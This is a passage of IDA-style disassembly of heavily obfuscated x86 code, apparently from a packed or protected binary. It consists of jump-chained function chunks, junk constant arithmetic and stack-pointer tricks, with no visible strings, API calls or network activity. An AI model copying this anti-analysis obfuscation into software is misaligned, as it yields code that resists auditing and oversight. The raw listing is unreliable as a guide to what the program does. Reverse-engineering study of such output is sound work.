; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DE9C:				; CODE XREF: sub_5AA2D1+49A5j
		jmp	loc_599EC4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7A2B


loc_59DEA1:				; CODE XREF: sub_5A7A2B+Cj
		mov	ecx, esp
		jmp	sub_5A06C1
; END OF FUNCTION CHUNK	FOR sub_5A7A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59DEA8:				; CODE XREF: sub_5A580F-1E9Fj
		xchg	eax, [esp-4+arg_0]
		pop	esp
		and	edi, 0DB33D5Bh
		jmp	loc_59ADAB
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DEB7:				; CODE XREF: sub_5AA2D1-1A43j
		add	ah, 0AFh
		jmp	loc_59D4B9
; ---------------------------------------------------------------------------


loc_59DEBF:				; CODE XREF: sub_5AA2D1-9F3Cj
		pop	edx
		push	ebp
		jmp	loc_59D05E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_59DEC6:				; CODE XREF: sub_5A63DC+561Ej
		pop	esp
		mov	[esp+8+var_8], ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		push	esi
		mov	esi, esp
		jmp	loc_5A300C
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_59DEDD:				; CODE XREF: sub_5A913B+6791j
		mov	edx, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_5AD4D8
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DEE8:				; CODE XREF: sub_5AA2D1-AA5Cj
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		xor	ebx, ebp
		pop	ebp
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59DEF6:				; CODE XREF: sdfs____:0059E188j
		mov	edi, 671E34AEh
		inc	edi
		jmp	loc_5A9760
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DF01:				; CODE XREF: sub_5AA2D1+3295j
		push	esi
		mov	esi, 34CA3864h
		jmp	loc_59A2EB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_59DF0C:				; CODE XREF: sub_5B0377+10j
		mov	edx, 3DDE726Dh
		push	0A54h
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_5AF233
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_59DF1E:				; CODE XREF: sub_5A3992+C4Fj
					; sub_5A0AA2+77F7j
		sub	eax, ecx
		pop	ecx
		sub	eax, ecx
		add	eax, 76570929h
		push	ebx
		push	9AB5BF4h
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	67Fh
		mov	[esp+0Ch+var_C], edx
		mov	edx, 42CE0CBAh
		neg	edx
		add	edx, 0A1C73AA9h
		sub	ebx, edx
		pop	edx
		xor	ebx, 462D0B79h
		add	ebx, 12962383h
		push	esi
		mov	esi, 21C462DDh
		sub	esi, 0C7873E90h
		sub	ebx, 27876AF7h
		add	ebx, esi
		add	ebx, 27876AF7h
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A2945
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DF7D:				; CODE XREF: sub_5AA2D1-4097j
		add	edi, ebx
		pop	ebx
		jmp	loc_5A3431
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59DF85:				; CODE XREF: sub_59CBE1+E11Aj
		pop	edi
		add	esp, 4
		add	edi, 4
		push	ebx
		push	7749h
		mov	[esp-8+arg_4], edi
		push	6FDE1040h
		push	[esp-4+arg_0]
		pop	edi
		jmp	loc_5A5E6C
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59DFA6:				; CODE XREF: sub_59C979+8BB5j
		jp	sub_5ADBA5
		push	bx
		mov	bh, 96h
		sub	cl, bh
		mov	bx, [esp+0]
		push	edi


loc_59DFB7:				; CODE XREF: sub_59F4D2+1075Dj
		push	55F0h
		mov	[esp+4+var_6+2], ebp
		jmp	loc_59DC87
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_59DFC4:				; CODE XREF: sub_5AD993-90D6j
		mov	ebp, [esp-18h+arg_14]
		add	esp, 4
		xor	eax, ecx
		push	[esp-1Ch+arg_18]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xor	ecx, [esp-18h+arg_14]
		jmp	loc_5A6E6D
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_59DFED:				; CODE XREF: sub_5A26E8+BD3Dj
		sub	ebp, 72BB3CF7h
		add	ebp, edx
		add	ebp, 72BB3CF7h
		sub	ebp, 352951A0h
		add	ebp, 32712ED6h
		pop	edx
		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		pop	esp
		sar	dword ptr [esp+0], cl
		pushf
		jmp	loc_59D4EA
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59E01B:				; CODE XREF: sub_5AD795-7B98j
		add	eax, 1FBC263Fh
		neg	eax
		jmp	loc_59BB3A
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_59E027:				; CODE XREF: sub_5A4D9D+19j
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_59B59F
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E030:				; CODE XREF: sub_5AA2D1+223Ej
		shr	edx, 1
		add	edx, 3C5306F3h
		jmp	loc_5AF6F8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_59E03D:				; CODE XREF: sub_5A7BA0-1A7Fj
		jnp	loc_5B00C1
		xor	ecx, 5DD30C1Fh
		jo	loc_5A4828
		push	edi
		push	eax
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; START	OF FUNCTION CHUNK FOR sub_5997FD


loc_59E051:				; CODE XREF: sub_5997FD+Bj
					; sub_5A80B3+Ej
		mov	ebp, 4
		jmp	loc_5A8BC8
; END OF FUNCTION CHUNK	FOR sub_5997FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E05B:				; CODE XREF: sub_5AA2D1-93FFj
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-18h+arg_14]
		pop	esp
		jmp	loc_5AEAB9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59E067:				; CODE XREF: sub_59CBE1+F9A4j
		push	eax
		mov	ah, 7Fh
		mov	cl, ah
		pop	eax
		and	dh, cl
		pop	cx
		xor	dh, 0D7h
		add	al, dh
		mov	edx, [esp-6+arg_0+2]
		jmp	loc_59D008
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59E07E:				; CODE XREF: sub_59A26C+C94Bj
		pop	edx
		push	eax
		push	esp
		jmp	loc_5AA3AE
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59E086:				; CODE XREF: sub_59C979+CF49j
		xchg	eax, [esp+4+var_6+2]
		jmp	loc_5A96B0
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59E08E:				; CODE XREF: sub_599D0E+8E4Aj
		and	cl, 89h
		or	cl, 0A0h
		sub	cl, 40h
		xor	cl, 0ADh
		push	eax
		push	edx
		mov	dh, 0C8h
		jmp	loc_5AD6B1
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599509


loc_59E0A3:				; CODE XREF: sub_599509+DB5j
		add	edi, 4
		jmp	loc_5AB007
; END OF FUNCTION CHUNK	FOR sub_599509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E0AE:				; CODE XREF: sub_5AA2D1+16A9j
		shr	ecx, 4
		sub	ecx, 1F9B1D7Dh
		jnp	loc_5A28D5
		sub	ecx, 0AF237458h
		mov	esi, ecx
		jmp	loc_59E39B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_59E0CA:				; CODE XREF: sub_5A3B60+15A5j
		or	ecx, 3905694Bh
		sub	ecx, 10502B9Eh
		mov	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		push	esi
		push	4EA7440Fh
		jmp	loc_59BFE7
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59E0FD:				; CODE XREF: sub_5B01F7-14CD9j
		add	eax, ecx
		push	ecx
		jmp	loc_59F8F4
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------


loc_59E105:				; CODE XREF: sdfs____:0059D619j
		sub	edx, 4B3E2A7Fh
		push	eax
		mov	eax, 32F49F6h
		jmp	loc_59CAC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E116:				; CODE XREF: sub_5AA2D1-1E72j
		shl	esi, 5
		js	loc_5AA995
		shl	esi, 3
		push	eax
		mov	eax, 489E53E5h
		sub	eax, 0DF3B741Bh
		xor	esi, eax
		jmp	loc_5A9F88
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_59E134:				; CODE XREF: sub_5A77D5+19j
		push	[esp+4+var_4]
		jmp	loc_5AB47F
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------


loc_59E13C:				; CODE XREF: sdfs____:00599C40j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5AAED7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_59E158:				; CODE XREF: sub_59ED98+E5B2j
		push	dx
		not	byte ptr [esp+6+var_6]
		pop	dx
		add	dl, 22h
		push	ebx
		mov	bl, 6Dh
		or	dl, bl
		jmp	loc_5A146E
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------


loc_59E16C:				; CODE XREF: sdfs____:005A882Aj
		sub	eax, 6B4D4BE0h
		add	eax, ebx
		push	1EC9h
		mov	[esp], edx
		mov	edx, 624B64D4h
		push	4B81h
		mov	[esp], edi
		jmp	loc_59DEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_59E18D:				; CODE XREF: sub_59A7E7+C1EBj
		pop	ebp
		add	esp, 4
		jmp	loc_5A5E27
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59E199:				; CODE XREF: sub_5A2E28-90C9j
		mov	edi, 3496158h
		mov	esi, 0BAB70C65h
		sub	esi, edi
		pop	edi
		add	esi, eax
		jmp	loc_59AD98
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_59E1AD:				; CODE XREF: sub_59F4D2+C6FFj
		add	ecx, 49C708B0h
		sub	ecx, ebp
		sub	ecx, 49C708B0h
		jmp	loc_5ACD73
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BE17


loc_59E1C0:				; CODE XREF: sub_59BE17+1D22j
		sub	ebp, 4C010137h
		add	ebp, ecx
		add	ebp, 4C010137h
		jmp	loc_5A0BB0
; END OF FUNCTION CHUNK	FOR sub_59BE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59E1D3:				; CODE XREF: sub_59CBE1+11322j
		sub	edx, 279E4AFEh
		xor	edx, 0C1BBB3C3h
		jmp	loc_5A52FF
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_59E1E4:				; CODE XREF: sub_5AC803-9A25j
		add	edx, 0EEBEF51Fh
		or	esi, edx
		pop	edx
		add	esi, 8B049406h
		add	ecx, esi
		pop	esi
		add	ecx, 2
		xor	ecx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ecx
		xor	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_5A50B4
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_59E20A:				; CODE XREF: sub_599CC6+16268j
		pop	eax
		push	edx
		push	ecx
		mov	ch, bh
		mov	dh, ch
		pop	ecx
		jmp	loc_5AC890
; END OF FUNCTION CHUNK	FOR sub_599CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59E217:				; CODE XREF: sub_5992DA+EF0Dj
		add	esi, 179EF81Ch
		mov	eax, esi
		pop	esi
		xor	esi, eax
		pop	eax
		jmp	loc_5A8563
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59E228:				; CODE XREF: sub_5AC478-FC8Dj
					; sub_5A477C+5F7Dj
		and	edi, 2289779Eh
		shl	edi, 5
		inc	edi
		jmp	loc_5995A1
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_59E237:				; CODE XREF: sub_5AFA26-115BBj
		sub	eax, ebx
		pop	ebx
		mov	edx, eax
		pop	eax
		and	ebx, edx
		pop	edx
		shr	ebx, 8
		shl	ebx, 4
		push	ebp
		mov	ebp, 0F95B2E72h
		add	ebx, ebp
		pop	ebp
		add	edi, 10E52413h
		add	edi, ebx
		push	ecx
		mov	ecx, 10E52413h
		jmp	loc_59D0BF
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E262:				; CODE XREF: sub_5AA2D1-258Ej
		mov	bl, 0DDh
		push	3AD8h
		mov	[esp-14h+arg_10], ecx
		push	edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		jmp	loc_5AC34F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3BFE


loc_59E277:				; CODE XREF: sub_5A3BFE-64Fj
		push	[esp+8+var_8]
		pop	edi
		jmp	loc_5A8037
; END OF FUNCTION CHUNK	FOR sub_5A3BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_59E280:				; CODE XREF: sub_5AB622-D7F1j
		add	edi, 1
		sub	edi, 0C9A87529h
		mov	ebx, edi
		pop	edi
		jmp	loc_59940D
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59E294:				; CODE XREF: sub_5A580F-1C41j
		push	1ACBh
		mov	[esp-4+arg_0], ecx
		push	6E95h
		mov	[esp+0], edi
		push	1AE35115h
		mov	edi, [esp+4+var_4]
		jmp	loc_5ABC27
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_59E2B1:				; CODE XREF: sub_59A7E7+F30Bj
		movzx	eax, al
		jmp	loc_5A351C
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A119E


loc_59E2B9:				; CODE XREF: sub_5A119E+Bj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A119E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59E2BE:				; CODE XREF: sub_5992DA+D5DEj
		jmp	loc_59C82C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3261


loc_59E2C3:				; CODE XREF: sub_5A3261-679Dj
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	edx
		mov	edx, 66300D2Dh
		add	edx, 99CFF2D7h
		jmp	loc_5A4DE3
; END OF FUNCTION CHUNK	FOR sub_5A3261
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59E2DA:				; CODE XREF: sub_5A0AA2-4A46j
		mov	esi, 30B576CCh
		jmp	loc_5ABC77
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59E2E4:				; CODE XREF: sub_5992DA+15B6Bj
		push	edx
		jmp	loc_5A9A84
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59E2EA:				; CODE XREF: sub_5A79BE+6A7Ej
		shr	esi, 3
		jmp	loc_5A2A2E
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------


loc_59E2F2:				; CODE XREF: sdfs____:005A965Cj
		mov	dh, bh
		jmp	loc_5AD34F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A416F


loc_59E2F9:				; CODE XREF: sub_5A416F+1j
		mov	ebp, 5D38059Ch
		inc	ebp
		not	ebp
		jmp	loc_5993C7
; END OF FUNCTION CHUNK	FOR sub_5A416F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59E306:				; CODE XREF: sub_5A6BBC:loc_5A68ADj
		sub	cl, 0DFh
		jmp	loc_5AA46A
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD36


loc_59E30E:				; CODE XREF: sub_59DD36+F163j
		pop	[esp+4+var_4]
		pop	esp
		xor	[esp-4+arg_0], eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59DD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59E31B:				; CODE XREF: sub_5AA810-6591j
		push	390Ch
		jmp	loc_5ABE6A
; END OF FUNCTION CHUNK	FOR sub_5AA810

; =============== S U B	R O U T	I N E =======================================



sub_59E325	proc near		; CODE XREF: sub_59A66A+E304j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A575E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A62B0 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_5A575E
sub_59E325	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59E333	proc near		; CODE XREF: sdfs____:0059CBADj
					; sub_5A0AA2-3D51j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005A354A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6126 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AA16D SIZE 0000001E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 670D4770h
		xor	eax, edx
		pop	edx
		and	eax, 6E7B0976h
		jmp	loc_5AA16D
sub_59E333	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_59E34E:				; CODE XREF: sub_59D37E+E3D8j
		push	edx
		mov	dl, ch
		not	dl
		jmp	loc_5ACC9F
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_59E358:				; CODE XREF: sub_59BA35+7739j
		mov	cl, 0A8h
		mov	ah, cl
		pop	ecx
		sub	dl, ah
		pop	eax
		add	dl, 85h
		add	ah, dl
		pop	edx
		mov	dl, ah
		pop	eax
		push	ebx
		mov	bh, 78h
		sub	bh, 64h
		jmp	loc_5AEE8D
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59E374:				; CODE XREF: sub_5992DA+4B2Ej
		pop	esi
		neg	ebp
		jmp	loc_5AAEAC
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_59E37C:				; CODE XREF: sub_59E94B-38E9j
					; sub_5AA2D1-2770j
		add	edx, 26CF347Ch
		jmp	loc_5AFA39
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA83C


loc_59E387:				; CODE XREF: sub_5AA83C-2E2Ej
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_5AD029
; END OF FUNCTION CHUNK	FOR sub_5AA83C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E39B:				; CODE XREF: sub_5AA2D1-C20Cj
					; sub_5AC803+3588j
		mov	[esp-1Ch+arg_18], ebp
		mov	ebp, 6A666938h
		mov	esi, 57B19ED9h
		sub	esi, 350599Bh
		add	esi, ebp
		add	esi, 350599Bh
		push	[esp-1Ch+arg_18]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59F866
; ---------------------------------------------------------------------------


loc_59E3C8:				; CODE XREF: sub_5AA2D1-CD3Dj
		mov	[esp+2+var_4+2], edi
		jmp	loc_5AD401
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D6F


loc_59E3D0:				; CODE XREF: sub_5A9D6F+6j
		mov	[esp+4+var_4], ebx
		push	ecx
		mov	cl, 84h
		jmp	loc_59A64B
; END OF FUNCTION CHUNK	FOR sub_5A9D6F
; ---------------------------------------------------------------------------


loc_59E3DB:				; CODE XREF: sdfs____:005AEDB2j
		push	5D867425h
		pop	ebp
		and	ebp, 6103446Ch
		jmp	loc_5AE984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_59E3EC:				; CODE XREF: sub_5A3E64-9640j
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_5AFB1C
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E3FA:				; CODE XREF: sub_5AA2D1-EE66j
					; sdfs____:0059D82Aj ...
		shl	dl, 1
		jnp	loc_5A3599
		add	dl, 43h
		jmp	loc_59D6F7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_59E40A:				; CODE XREF: sub_5AFA26-12964j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	5A14h
		mov	[esp+8+var_8], edi
		jmp	loc_5AFAF5
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59E41D:				; CODE XREF: sub_59C979-1A2j
		push	[esp-6+arg_2]
		pop	eax
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	dword ptr [esp+2+var_2], edi
		mov	edi, 3BF2062Fh
		shr	edi, 4
		push	eax
		mov	eax, 66020AB1h
		shr	eax, 5
		jmp	loc_59F4A6
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59E443:				; CODE XREF: sub_59D6B8-D78j
		push	7770h
		jmp	loc_5AD674
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_59E44D:				; CODE XREF: sub_5A3E64-A408j
		mov	ebx, 6EE47C50h
		add	ebp, ebx
		jmp	loc_5AE65F
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_59E459:				; CODE XREF: sub_5AFA26-DF57j
		and	ebx, 5CF3220Ah
		xor	ebx, 43DF7334h
		add	ebx, 4D6F95F2h
		jmp	loc_59E237
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_59E470:				; CODE XREF: sub_5A600D-CCFCj
		or	ah, 0FAh
		xor	ah, 0Dh
		xor	bl, ah
		pop	eax
		add	cl, bl
		mov	ebx, [esp+4+var_4]
		jmp	loc_59CE93
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------


loc_59E483:				; CODE XREF: sdfs____:0059C3D0j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4ECE668Fh
		jmp	loc_59CD12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59E496:				; CODE XREF: sub_5A477C+41D7j
		add	ebx, 4AC6549Ch
		add	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 5C932C9Ch
		add	eax, ebp
		mov	ebp, [esp-4+arg_0]
		jmp	loc_59D52C
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_59E4AF:				; CODE XREF: sub_5AB5A9-A48Fj
		push	ecx
		mov	ecx, 4863B8h
		inc	ecx
		jmp	loc_5B00AA
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_59E4BB:				; CODE XREF: sub_5ADD33-5E11j
		push	544Fh
		mov	[esp+0Ch+var_C], esp
		push	ebp
		mov	ebp, 4
		add	[esp+10h+var_C], ebp
		pop	ebp
		jmp	loc_5AA94B
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59E4D3:				; CODE XREF: sub_59C979+6877j
		mov	[esp+6+var_6], esp
		add	[esp+6+var_6], 4
		pop	edi
		jmp	loc_5A2032
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_59E4E0:				; CODE XREF: sdfs____:0059CD18j
		sub	edx, 7476061h
		not	edx
		sub	edx, 4398B223h
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	2824h
		mov	[esp], esp
		jmp	loc_5A68E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59E50D:				; CODE XREF: sub_5A2E41-7391j
					; sub_5A0AA2+8EC8j
		and	eax, 3D95181Fh
		shl	eax, 8
		inc	eax
		jmp	loc_5A209B
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_59E51B:				; CODE XREF: sub_5A118F+AE2j
		sub	esi, 38CA139Fh
		pop	ebx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	ebx, esi
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		xor	eax, ebx
		mov	ebx, [esp+0]
		jmp	loc_5A9A6A
; END OF FUNCTION CHUNK	FOR sub_5A118F
